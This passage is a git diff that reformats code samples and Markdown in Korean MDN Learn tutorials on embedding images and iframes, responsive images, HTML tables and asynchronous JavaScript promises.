@@ -215,10 +219,10 @@ body {
 ```
 
 ```js hidden
-var textarea = document.getElementById('code');
-var reset = document.getElementById('reset');
-var solution = document.getElementById('solution');
-var output = document.querySelector('.output');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var solution = document.getElementById("solution");
+var output = document.querySelector(".output");
 var code = textarea.value;
 var userEntry = textarea.value;
 
@@ -226,38 +230,39 @@ function updateCode() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener('click', function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   userEntry = textarea.value;
   solutionEntry = htmlSolution;
-  solution.value = 'Show solution';
+  solution.value = "Show solution";
   updateCode();
 });
 
-solution.addEventListener('click', function() {
-  if(solution.value === 'Show solution') {
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
     textarea.value = solutionEntry;
-    solution.value = 'Hide solution';
+    solution.value = "Hide solution";
   } else {
     textarea.value = userEntry;
-    solution.value = 'Show solution';
+    solution.value = "Show solution";
   }
   updateCode();
 });
 
-var htmlSolution = '<img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171"\n title="A T-Rex on display in the Manchester University Museum">';
+var htmlSolution =
+  '<img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171"\n title="A T-Rex on display in the Manchester University Museum">';
 var solutionEntry = htmlSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
+textarea.onkeydown = function (e) {
   if (e.keyCode === 9) {
     e.preventDefault();
-    insertAtCaret('\t');
+    insertAtCaret("\t");
   }
 
   if (e.keyCode === 27) {
@@ -269,8 +274,11 @@ function insertAtCaret(text) {
   var scrollPos = textarea.scrollTop;
   var caretPos = textarea.selectionStart;
 
-  var front = (textarea.value).substring(0, caretPos);
-  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  var front = textarea.value.substring(0, caretPos);
+  var back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
   textarea.value = front + text + back;
   caretPos = caretPos + text.length;
   textarea.selectionStart = caretPos;
@@ -281,10 +289,10 @@ function insertAtCaret(text) {
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
+textarea.onkeyup = function () {
   // We only want to save the state when the user code is being shown,
   // not the solution, so that solution is not saved over the user code
-  if(solution.value === 'Show solution') {
+  if (solution.value === "Show solution") {
     userEntry = textarea.value;
   } else {
     solutionEntry = textarea.value;
@@ -302,11 +310,12 @@ Speaking of captions, there are a number of ways that you could add a caption to
 
 ```html
 <div class="figure">
-  <img src="images/dinosaur.jpg"
-       alt="The head and torso of a dinosaur skeleton;
+  <img
+    src="images/dinosaur.jpg"
+    alt="The head and torso of a dinosaur skeleton;
             it has a large head with long sharp teeth"
-       width="400"
-       height="341">
+    width="400"
+    height="341" />
 
   <p>A T-Rex on display in the Manchester University Museum.</p>
 </div>
@@ -352,18 +361,21 @@ If you make a mistake, you can always reset it using the _Reset_ button. If you
 ```html hidden
 <h2>Live output</h2>
 
-<div class="output" style="min-height: 50px;">
-</div>
+<div class="output" style="min-height: 50px;"></div>
 
 <h2>Editable code</h2>
-<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p>
+<p class="a11y-label">
+  Press Esc to move focus away from the code area (Tab inserts a tab character).
+</p>
 
-<textarea id="code" class="input" style="min-height: 100px; width: 95%">
-</textarea>
+<textarea
+  id="code"
+  class="input"
+  style="min-height: 100px; width: 95%"></textarea>
 
 <div class="playable-buttons">
-  <input id="reset" type="button" value="Reset">
-  <input id="solution" type="button" value="Show solution">
+  <input id="reset" type="button" value="Reset" />
+  <input id="solution" type="button" value="Show solution" />
 </div>
 ```
 
@@ -390,10 +402,10 @@ body {
 ```
 
 ```js hidden
-var textarea = document.getElementById('code');
-var reset = document.getElementById('reset');
-var solution = document.getElementById('solution');
-var output = document.querySelector('.output');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var solution = document.getElementById("solution");
+var output = document.querySelector(".output");
 var code = textarea.value;
 var userEntry = textarea.value;
 
@@ -401,38 +413,39 @@ function updateCode() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener('click', function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   userEntry = textarea.value;
   solutionEntry = htmlSolution;
-  solution.value = 'Show solution';
+  solution.value = "Show solution";
   updateCode();
 });
 
-solution.addEventListener('click', function() {
-  if(solution.value === 'Show solution') {
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
     textarea.value = solutionEntry;
-    solution.value = 'Hide solution';
+    solution.value = "Hide solution";
   } else {
     textarea.value = userEntry;
-    solution.value = 'Show solution';
+    solution.value = "Show solution";
   }
   updateCode();
 });
 
-var htmlSolution = '<figure>\n <img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171">\n <figcaption>A T-Rex on display in the Manchester University Museum</figcaption>\n</figure>';
+var htmlSolution =
+  '<figure>\n <img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171">\n <figcaption>A T-Rex on display in the Manchester University Museum</figcaption>\n</figure>';
 var solutionEntry = htmlSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
+textarea.onkeydown = function (e) {
   if (e.keyCode === 9) {
     e.preventDefault();
-    insertAtCaret('\t');
+    insertAtCaret("\t");
   }
 
   if (e.keyCode === 27) {
@@ -444,8 +457,11 @@ function insertAtCaret(text) {
   var scrollPos = textarea.scrollTop;
   var caretPos = textarea.selectionStart;
 
-  var front = (textarea.value).substring(0, caretPos);
-  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  var front = textarea.value.substring(0, caretPos);
+  var back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
   textarea.value = front + text + back;
   caretPos = caretPos + text.length;
   textarea.selectionStart = caretPos;
@@ -456,10 +472,10 @@ function insertAtCaret(text) {
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
+textarea.onkeyup = function () {
   // We only want to save the state when the user code is being shown,
   // not the solution, so that solution is not saved over the user code
-  if(solution.value === 'Show solution') {
+  if (solution.value === "Show solution") {
     userEntry = textarea.value;
   } else {
     solutionEntry = textarea.value;
diff --git a/files/ko/learn/html/multimedia_and_embedding/other_embedding_technologies/index.md b/files/ko/learn/html/multimedia_and_embedding/other_embedding_technologies/index.md
index 242ada6af58c70..94d2cc896d9e17 100644
--- a/files/ko/learn/html/multimedia_and_embedding/other_embedding_technologies/index.md
+++ b/files/ko/learn/html/multimedia_and_embedding/other_embedding_technologies/index.md
@@ -8,6 +8,7 @@ l10n:
 {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}
 
 이제 웹 페이지에 이미지와 비디오, 오디오를 추가하는 방법을 이해하셨을 겁니다. 이 시점에서 옆으로 한발 비켜서서, 웹 페이지에 다양한 형태의 콘텐츠를 넣을 수 있는 {{htmlelement("iframe")}} 요소와 {{htmlelement("embed")}} 요소, {{htmlelement("object")}} 요소를 살펴보겠습니다. `<iframe>` 요소는 다른 웹 페이지를 삽입하기 위해, 다른 두 요소는 PDF 파일과 같은 외부 자원을 웹 페이지에 추가하기 위해 사용합니다.
+
 <table>
   <tbody>
     <tr>
@@ -72,7 +73,8 @@ l10n:
 
 <h2>편집 가능한 코드</h2>
 <p class="a11y-label">
-  코드 영역에서 포커스를 움직이기 위해서는 ESC 키를 누르세요 (Tab 키를 누르면 탭 문자가 입력됩니다).
+  코드 영역에서 포커스를 움직이기 위해서는 ESC 키를 누르세요 (Tab 키를 누르면 탭
+  문자가 입력됩니다).
 </p>
 
 <textarea
@@ -109,10 +111,10 @@ body {
 ```
 
 ```js hidden
-const textarea = document.getElementById('code');
-const reset = document.getElementById('reset');
-const solution = document.getElementById('solution');
-const output = document.querySelector('.output');
+const textarea = document.getElementById("code");
+const reset = document.getElementById("reset");
+const solution = document.getElementById("solution");
+const output = document.querySelector(".output");
 let code = textarea.value;
 let userEntry = textarea.value;
 
@@ -120,38 +122,39 @@ function updateCode() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener('click', function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   userEntry = textarea.value;
   solutionEntry = htmlSolution;
-  solution.value = 'Show solution';
+  solution.value = "Show solution";
   updateCode();
 });
 
-solution.addEventListener('click', function() {
-  if (solution.value === 'Show solution') {
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
     textarea.value = solutionEntry;
-    solution.value = 'Hide solution';
+    solution.value = "Hide solution";
   } else {
     textarea.value = userEntry;
-    solution.value = 'Show solution';
+    solution.value = "Show solution";
   }
   updateCode();
 });
 
-const htmlSolution = '<iframe width="420" height="315" src="https://www.youtube.com/embed/QH2-TGUlwu4" frameborder="0" allowfullscreen>\n</iframe>\n\n<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d37995.65748333395!2d-2.273568166412784!3d53.473310471916975!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x487bae6c05743d3d%3A0xf82fddd1e49fc0a1!2sThe+Lowry!5e0!3m2!1sen!2suk!4v1518171785211" width="600" height="450" frameborder="0" style="border:0" allowfullscreen>\n</iframe>';
+const htmlSolution =
+  '<iframe width="420" height="315" src="https://www.youtube.com/embed/QH2-TGUlwu4" frameborder="0" allowfullscreen>\n</iframe>\n\n<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d37995.65748333395!2d-2.273568166412784!3d53.473310471916975!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x487bae6c05743d3d%3A0xf82fddd1e49fc0a1!2sThe+Lowry!5e0!3m2!1sen!2suk!4v1518171785211" width="600" height="450" frameborder="0" style="border:0" allowfullscreen>\n</iframe>';
 let solutionEntry = htmlSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
+textarea.onkeydown = function (e) {
   if (e.keyCode === 9) {
     e.preventDefault();
-    insertAtCaret('\t');
+    insertAtCaret("\t");
   }
 
   if (e.keyCode === 27) {
@@ -164,7 +167,10 @@ function insertAtCaret(text) {
   let caretPos = textarea.selectionStart;
 
   const front = textarea.value.substring(0, caretPos);
-  const back = textarea.value.substring(textarea.selectionEnd, textarea.value.length);
+  const back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
   textarea.value = front + text + back;
   caretPos += text.length;
   textarea.selectionStart = caretPos;
@@ -175,10 +181,10 @@ function insertAtCaret(text) {
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
+textarea.onkeyup = function () {
   // We only want to save the state when the user code is being shown,
   // not the solution, so that solution is not saved over the user code
-  if (solution.value === 'Show solution') {
+  if (solution.value === "Show solution") {
     userEntry = textarea.value;
   } else {
     solutionEntry = textarea.value;
@@ -212,9 +218,7 @@ textarea.onkeyup = function(){
     allowfullscreen
     sandbox>
     <p>
-      <a href="/ko/docs/Glossary">
-        iframes을 지원하지 않는 브라우저용 링크
-      </a>
+      <a href="/ko/docs/Glossary"> iframes을 지원하지 않는 브라우저용 링크 </a>
     </p>
   </iframe>
 </body>
diff --git a/files/ko/learn/html/multimedia_and_embedding/responsive_images/index.md b/files/ko/learn/html/multimedia_and_embedding/responsive_images/index.md
index 98460b9f27869b..4940ed537b5716 100644
--- a/files/ko/learn/html/multimedia_and_embedding/responsive_images/index.md
+++ b/files/ko/learn/html/multimedia_and_embedding/responsive_images/index.md
@@ -49,7 +49,7 @@ slug: Learn/HTML/Multimedia_and_embedding/Responsive_images
 
 ![Our example site as viewed on a narrow screen; the first image has shrunk to the point where it is hard to make out the detail on it.](non-responsive-narrow.png)
 
-개선책은 좁은 화면에서 사이트를 볼 때 이미지의 중요한 상세를 보여 주는 자른 이미지를 보여 주는 것이다. 또 다르게 자른 이미지를 태블릿처럼 중간 정도 너비 화면의 기기에서 보여줄 수 있을 것이다. 이를 보통 **아트 디렉션 문제(art direction problem)** 라고 한다. \[아트 디렉션은 ‘연출 방향’ 정도로 번역할 수 있을 듯한데, 보통은 용어를 그대로 사용한다. 반응형 이미지에서는 이미지의 의도가 제대로 전달되도록 기기에 따라 사진의 핵심을 확대해서 보여 주거나 하는 방식을 의미한다. - 역자 주]
+개선책은 좁은 화면에서 사이트를 볼 때 이미지의 중요한 상세를 보여 주는 자른 이미지를 보여 주는 것이다. 또 다르게 자른 이미지를 태블릿처럼 중간 정도 너비 화면의 기기에서 보여줄 수 있을 것이다. 이를 보통 **아트 디렉션 문제(art direction problem)** 라고 한다. \[아트 디렉션은 '연출 방향' 정도로 번역할 수 있을 듯한데, 보통은 용어를 그대로 사용한다. 반응형 이미지에서는 이미지의 의도가 제대로 전달되도록 기기에 따라 사진의 핵심을 확대해서 보여 주거나 하는 방식을 의미한다. - 역자 주]
 
 게다가, 작은 모바일 화면에서는 페이지에 그렇게 큰 이미지를 포함할 필요가 없다. 이것을 **해상도 전환 문제(resolution switching problem)** 라고 부른다. [벡터 그래픽 단원](/ko/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web)에서 배웠듯이, 래스터 이미지\[비트맵 이미지 - 역자 주]는 가로 픽셀들과 세로 픽셀들의 세트로 구성된다. 작은 래스터 이미지를 실제 사이즈보다 확대해서 보면 도트가 깨져 보인다(벡터 그래픽은 그렇지 않은데 반해).
 
@@ -63,8 +63,7 @@ slug: Learn/HTML/Multimedia_and_embedding/Responsive_images
 
 > **참고:**
 >
->이 글에서 다루는 새로운 기능들 — {{htmlattrxref("srcset", "img")}}/{{htmlattrxref("sizes", "img")}}/{{htmlelement("picture")}} — 은 모두 출시된 최신 데스크톱과 모바일 브라우저(인터넷 익스플로러는 구현이 안 돼 있지만, 마이크로소프트 엣지를 포함해)에서 지원된다.
->
+> 이 글에서 다루는 새로운 기능들 — {{htmlattrxref("srcset", "img")}}/{{htmlattrxref("sizes", "img")}}/{{htmlelement("picture")}} — 은 모두 출시된 최신 데스크톱과 모바일 브라우저(인터넷 익스플로러는 구현이 안 돼 있지만, 마이크로소프트 엣지를 포함해)에서 지원된다.
 
 ## 반응형 이미지를 어떻게 만들까?
 
@@ -75,19 +74,23 @@ slug: Learn/HTML/Multimedia_and_embedding/Responsive_images
 자, 해상도 전환으로 해결하려고 하는 문제는 뭘까? 우리는 기기에 따라 단지 크기만 다른, 동일한 이미지 콘텐츠를 보여 주고 싶다. 우리 예제에서 본문 두 번째 이미지가 직면한 상황이다. 표준 {{htmlelement("img")}} 요소는 전통적으로 브라우저에게 오직 하나의 소스 파일만 제시하도록 돼 있었다.
 
 ```html
-<img src="elva-fairy-800w.jpg" alt="요정 옷을 입은 엘바">
+<img src="elva-fairy-800w.jpg" alt="요정 옷을 입은 엘바" />
 ```
 
 그러나 {{htmlattrxref("srcset", "img")}}과 {{htmlattrxref("sizes", "img")}}라는 두 가지 새로운 속성(attribute)을 사용해 브라우저가 올바른 것을 선택하는 데 도움이 되는 몇 가지 추가 소스 이미지와 힌트를 제공 할 수 있다. 이 예제는 Github의 [responsive.html](http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html) 예제 ([소스 코드](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/responsive.html) 참조)에서 볼 수 있다.
 
 ```html
-<img srcset="elva-fairy-320w.jpg 320w,
-             elva-fairy-480w.jpg 480w,
-             elva-fairy-800w.jpg 800w"
-     sizes="(max-width: 320px) 280px,
+<img
+  srcset="
+    elva-fairy-320w.jpg 320w,
+    elva-fairy-480w.jpg 480w,
+    elva-fairy-800w.jpg 800w
+  "
+  sizes="(max-width: 320px) 280px,
             (max-width: 480px) 440px,
             800px"
-     src="elva-fairy-800w.jpg" alt="요정 옷을 입은 엘바">
+  src="elva-fairy-800w.jpg"
+  alt="요정 옷을 입은 엘바" />
 ```
 
 `srcset`과 `sizes` 속성은 복잡해 보이지만 위에서 보여 준 것처럼 각 행에 속성 값을 나눠 적으면 이해하기 어렵지 않다. 각 값은 쉼표로 구분한 목록으로 적고, 목록의 각 부분은 세 부분으로 구성된다. 이제 각 내용을 살펴 보자.
@@ -98,17 +101,17 @@ slug: Learn/HTML/Multimedia_and_embedding/Responsive_images
 2. 공백
 3. 이미지 **고유 픽셀 너비** (`480w`) — `px`이 아니라 `w` 단위를 사용한다는 데 주의하라. 이것은 이미지의 실제 사이즈인데, 컴퓨터에서 이미지를 확인하면 찾을 수 있다. (예컨대, 맥에서는 파인더에서 이미지를 선택하고
 
-    <kbd>Cmd</kbd>
+   <kbd>Cmd</kbd>
 
-    \+
+   \+
 
-    <kbd>I</kbd>
+   <kbd>I</kbd>
 
-    를 눌러 정보를 표시 할 수 있다).
+   를 눌러 정보를 표시 할 수 있다).
 
 **`sizes`** 는 미디어 조건문들을 정의하고(예를 들면, 화면 크기) 특정 미디어 조건문이 참일 때 어떤 이미지 크기가 최적인지 나타낸다(앞서 언급한 힌트). 이 경우, 각 쉼표 전에 이렇게 쓴다.
 
-1. **미디어 조건문** (`(max-width:480px)`) — CSS 주제에서 이에 대해 더 많은 것을 배울 수 있을 테지만, 지금 간단히 말하면, 미디어 조건문은 가능한 화면 상태를 기술한다. 이 경우, 이렇게 말하는 것이다: “뷰포트 너비가 480픽셀 이하”.
+1. **미디어 조건문** (`(max-width:480px)`) — CSS 주제에서 이에 대해 더 많은 것을 배울 수 있을 테지만, 지금 간단히 말하면, 미디어 조건문은 가능한 화면 상태를 기술한다. 이 경우, 이렇게 말하는 것이다: "뷰포트 너비가 480픽셀 이하".
 2. 공백.
 3. 미디어 조건문이 참인 경우 이미지가 채울 **슬롯의 너비**(`440px`).
 
@@ -158,10 +161,10 @@ slug: Learn/HTML/Multimedia_and_embedding/Responsive_images
 만약 다양한 디스플레이 해상도를 지원해야 하는데, 모두가 이미지를 실제 사이즈로 동일하게 봐야 한다면, `srcset`에 `sizes` 없이 x-서술자를 사용해 브라우저가 적절한 해상도의 이미지를 선택하게 할 수 있다. 꽤 쉽다. [srcset-resolutions.html](http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html)에서 예제를 찾아 볼 수 있다. ([소스 코드](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html)도 볼 수 있다.)
 
 ```html
-<img srcset="elva-fairy-320w.jpg,
-             elva-fairy-480w.jpg 1.5x,
-             elva-fairy-640w.jpg 2x"
-     src="elva-fairy-640w.jpg" alt="요정 옷을 입은 엘바">
+<img
+  srcset="elva-fairy-320w.jpg, elva-fairy-480w.jpg 1.5x, elva-fairy-640w.jpg 2x"
+  src="elva-fairy-640w.jpg"
+  alt="요정 옷을 입은 엘바" />
 ```
 
 ![A picture of a little girl dressed up as a fairy, with an old camera film effect applied to the image](resolution-example.png)이 예에서, 다음 CSS가 이미지에 적용되고, 따라서 화면에서 너비는 320px이 된다(CSS 픽셀이라고 부르기도 한다).
@@ -181,16 +184,16 @@ img {
 원래의 [not-responsive.html](http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html) 예제로 돌아가 보자. 아트 디렉션이 절실히 필요한 사진이 있다.
 
 ```html
-<img src="elva-800w.jpg" alt="딸 엘바를 안고 서 있는 크리스">
+<img src="elva-800w.jpg" alt="딸 엘바를 안고 서 있는 크리스" />
 ```
 
 {{htmlelement("picture")}}를 이용해 고쳐 보자! [`<video>`와 `<audio>`](/ko/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content) 처럼, \<picture> 요소는 {{htmlelement("source")}} 요소들을 감싼다. `source` 요소는 브라우저가 고를 수 있는 여러 소스들을 제공한다. `soucre` 요소들 뒤에는 가장 중요한 {{htmlelement("img")}} 요소가 뒤따른다. [responsive.html](http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html) 코드는 이렇다.
 
 ```html
 <picture>
-  <source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg">
-  <source media="(min-width: 800px)" srcset="elva-800w.jpg">
-  <img src="elva-800w.jpg" alt="딸 엘바를 안고 서 있는 크리스">
+  <source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg" />
+  <source media="(min-width: 800px)" srcset="elva-800w.jpg" />
+  <img src="elva-800w.jpg" alt="딸 엘바를 안고 서 있는 크리스" />
 </picture>
 ```
 
@@ -218,9 +221,9 @@ img {
 
 ```html
 <picture>
-  <source type="image/svg+xml" srcset="pyramid.svg">
-  <source type="image/webp" srcset="pyramid.webp">
-  <img src="pyramid.png" alt="정삼각형 4개로 만든 일반적인 피라미드">
+  <source type="image/svg+xml" srcset="pyramid.svg" />
+  <source type="image/webp" srcset="pyramid.webp" />
+  <img src="pyramid.png" alt="정삼각형 4개로 만든 일반적인 피라미드" />
 </picture>
 ```
 
diff --git a/files/ko/learn/html/tables/index.md b/files/ko/learn/html/tables/index.md
index 7837cbc70d5c30..b005599ba992e2 100644
--- a/files/ko/learn/html/tables/index.md
+++ b/files/ko/learn/html/tables/index.md
@@ -2,6 +2,7 @@
 title: HTML 테이블
 slug: Learn/HTML/Tables
 ---
+
 {{LearnSidebar}}
 
 HTML에서 매우 일반적인 작업으로 표 형식의 데이터를 구조화하는 것이며, 이 목적을 위해 여러 요소와 속성을 가지고 있습니다. 스타일링을 위해 약간의 CSS 와 HTML을 함께 사용하면 학교 수업 계획, 지역 수영장 시간표 또는 좋아하는 공룡이나 축구 팀 통계와 같은 웹 테이블 정보를 쉽게 표시 할 수 있습니다. 이 모듈은 HTML을 사용하여 표 형식의 데이터를 구성하는데 필요한 모든 정보를 제공 합니다.
diff --git a/files/ko/learn/javascript/asynchronous/implementing_a_promise-based_api/index.md b/files/ko/learn/javascript/asynchronous/implementing_a_promise-based_api/index.md
index 61ec8eaa6c2ed1..dabcfcde94473e 100644
--- a/files/ko/learn/javascript/asynchronous/implementing_a_promise-based_api/index.md
+++ b/files/ko/learn/javascript/asynchronous/implementing_a_promise-based_api/index.md
@@ -43,21 +43,21 @@ slug: Learn/JavaScript/Asynchronous/Implementing_a_promise-based_API
 
 ```css hidden
 div {
-  margin: .5rem 0;
+  margin: 0.5rem 0;
 }
 ```
 
 ```js
-const output = document.querySelector('#output');
-const button = document.querySelector('#set-alarm');
+const output = document.querySelector("#output");
+const button = document.querySelector("#set-alarm");
 
 function setAlarm() {
   window.setTimeout(() => {
-    output.textContent = 'Wake up!';
+    output.textContent = "Wake up!";
   }, 1000);
 }
 
-button.addEventListener('click', setAlarm);
+button.addEventListener("click", setAlarm);
 ```
 
 {{EmbedLiveSample("Wrapping setTimeout()", 600, 100)}}
@@ -76,7 +76,7 @@ button.addEventListener('click', setAlarm);
 function alarm(person, delay) {
   return new Promise((resolve, reject) => {
     if (delay < 0) {
-      throw new Error('Alarm delay must not be negative');
+      throw new Error("Alarm delay must not be negative");
     }
     window.setTimeout(() => {
       resolve(`Wake up, ${person}!`);
@@ -98,12 +98,12 @@ function alarm(person, delay) {
 ```html hidden
 <div>
   <label for="name">Name:</label>
-  <input type="text" id="name" name="name" size="4" value = "Matilda">
+  <input type="text" id="name" name="name" size="4" value="Matilda" />
 </div>
 
 <div>
   <label for="delay">Delay:</label>
-  <input type="text" id="delay" name="delay" size="4" value = "1000">
+  <input type="text" id="delay" name="delay" size="4" value="1000" />
 </div>
 
 <button id="set-alarm">Set alarm</button>
@@ -115,21 +115,22 @@ button {
   display: block;
 }
 
-div, button {
-  margin: .5rem 0;
+div,
+button {
+  margin: 0.5rem 0;
 }
 ```
 
 ```js
-const name = document.querySelector('#name');
-const delay = document.querySelector('#delay');
-const button = document.querySelector('#set-alarm');
-const output = document.querySelector('#output');
+const name = document.querySelector("#name");
+const delay = document.querySelector("#delay");
+const button = document.querySelector("#set-alarm");
+const output = document.querySelector("#output");
 
 function alarm(person, delay) {
   return new Promise((resolve, reject) => {
     if (delay < 0) {
-      throw new Error('Alarm delay must not be negative');
+      throw new Error("Alarm delay must not be negative");
     }
     window.setTimeout(() => {
       resolve(`Wake up, ${person}!`);
@@ -137,10 +138,10 @@ function alarm(person, delay) {
   });
 }
 
-button.addEventListener('click', () => {
+button.addEventListener("click", () => {
   alarm(name.value, delay.value)
-    .then(message => output.textContent = message)
-    .catch(error => output.textContent = `Couldn't set alarm: ${error}`);
+    .then((message) => (output.textContent = message))
+    .catch((error) => (output.textContent = `Couldn't set alarm: ${error}`));
 });
 ```
 
@@ -155,12 +156,12 @@ button.addEventListener('click', () => {
 ```html hidden
 <div>
   <label for="name">Name:</label>
-  <input type="text" id="name" name="name" size="4" value = "Matilda">
+  <input type="text" id="name" name="name" size="4" value="Matilda" />
 </div>
 
 <div>
   <label for="delay">Delay:</label>
-  <input type="text" id="delay" name="delay" size="4" value = "1000">
+  <input type="text" id="delay" name="delay" size="4" value="1000" />
 </div>
 
 <button id="set-alarm">Set alarm</button>
@@ -172,21 +173,22 @@ button {
   display: block;
 }
 
-div, button {
-  margin: .5rem 0;
+div,
+button {
+  margin: 0.5rem 0;
 }
 ```
 
 ```js
-const name = document.querySelector('#name');
-const delay = document.querySelector('#delay');
-const button = document.querySelector('#set-alarm');
-const output = document.querySelector('#output');
+const name = document.querySelector("#name");
+const delay = document.querySelector("#delay");
+const button = document.querySelector("#set-alarm");
+const output = document.querySelector("#output");
 
 function alarm(person, delay) {
   return new Promise((resolve, reject) => {
     if (delay < 0) {
-      throw new Error('Alarm delay must not be negative');
+      throw new Error("Alarm delay must not be negative");
     }
     window.setTimeout(() => {
       resolve(`Wake up, ${person}!`);
@@ -194,12 +196,11 @@ function alarm(person, delay) {
   });
 }
 
-button.addEventListener('click', async () => {
+button.addEventListener("click", async () => {
   try {
     const message = await alarm(name.value, delay.value);
     output.textContent = message;
-  }
-  catch (error) {
+  } catch (error) {
     output.textContent = `Couldn't set alarm: ${error}`;
   }
 });
diff --git a/files/ko/learn/javascript/asynchronous/index.md b/files/ko/learn/javascript/asynchronous/index.md
index c5f3501a6f8f75..8a46be24201ea8 100644
--- a/files/ko/learn/javascript/asynchronous/index.md
+++ b/files/ko/learn/javascript/asynchronous/index.md
@@ -4,6 +4,7 @@ slug: Learn/JavaScript/Asynchronous
 l10n:
   sourceCommit: 8e2641ebe076ab89299c77a51ece882de4ba5efb
 ---
+
 {{LearnSidebar}}
 
 이 과정에서 우리는 {{Glossary("asynchronous")}} {{Glossary("JavaScript")}}와 이것이 중요한 이유, 서버에서 리소스를 가져오는 것과 같은 잠재적 블로킹 연산을 어떻게 효과적으로 다룰 수 있을지에 대해 살펴봅니다.
diff --git a/files/ko/learn/javascript/asynchronous/introducing/index.md b/files/ko/learn/javascript/asynchronous/introducing/index.md
index 5f7ac3eef3716b..05b6ae3dc2d329 100644
--- a/files/ko/learn/javascript/asynchronous/introducing/index.md
+++ b/files/ko/learn/javascript/asynchronous/introducing/index.md
@@ -43,7 +43,7 @@ l10n:
 아래 코드를 한번 보세요.
 
 ```js
-const name = 'Miriam';
+const name = "Miriam";
 const greeting = `Hello, my name is ${name}!`;
 console.log(greeting);
 // "Hello, my name is Miriam!"
@@ -64,7 +64,7 @@ function makeGreeting(name) {
   return `Hello, my name is ${name}!`;
 }
 
-const name = 'Miriam';
+const name = "Miriam";
 const greeting = makeGreeting(name);
 console.log(greeting);
 // "Hello, my name is Miriam!"
@@ -80,7 +80,7 @@ console.log(greeting);
 
 ```html
 <label for="quota">Number of primes:</label>
-<input type="text" id="quota" name="quota" value="1000000">
+<input type="text" id="quota" name="quota" value="1000000" />
 
 <button id="generate">Generate primes</button>
 <button id="reload">Reload</button>
@@ -90,12 +90,11 @@ console.log(greeting);
 
 ```js
 function generatePrimes(quota) {
-
   function isPrime(n) {
     for (let c = 2; c <= Math.sqrt(n); ++c) {
       if (n % c === 0) {
-          return false;
-       }
+        return false;
+      }
     }
     return true;
   }
@@ -113,14 +112,16 @@ function generatePrimes(quota) {
   return primes;
 }
 
-document.querySelector('#generate').addEventListener('click', () => {
-  const quota = document.querySelector('#quota').value;
+document.querySelector("#generate").addEventListener("click", () => {
+  const quota = document.querySelector("#quota").value;
   const primes = generatePrimes(quota);
-  document.querySelector('#output').textContent = `Finished generating ${quota} primes!`;
+  document.querySelector(
+    "#output",
+  ).textContent = `Finished generating ${quota} primes!`;
 });
 
-document.querySelector('#reload').addEventListener('click', () => {
-  document.location.reload()
+document.querySelector("#reload").addEventListener("click", () => {
+  document.location.reload();
 });
 ```
 
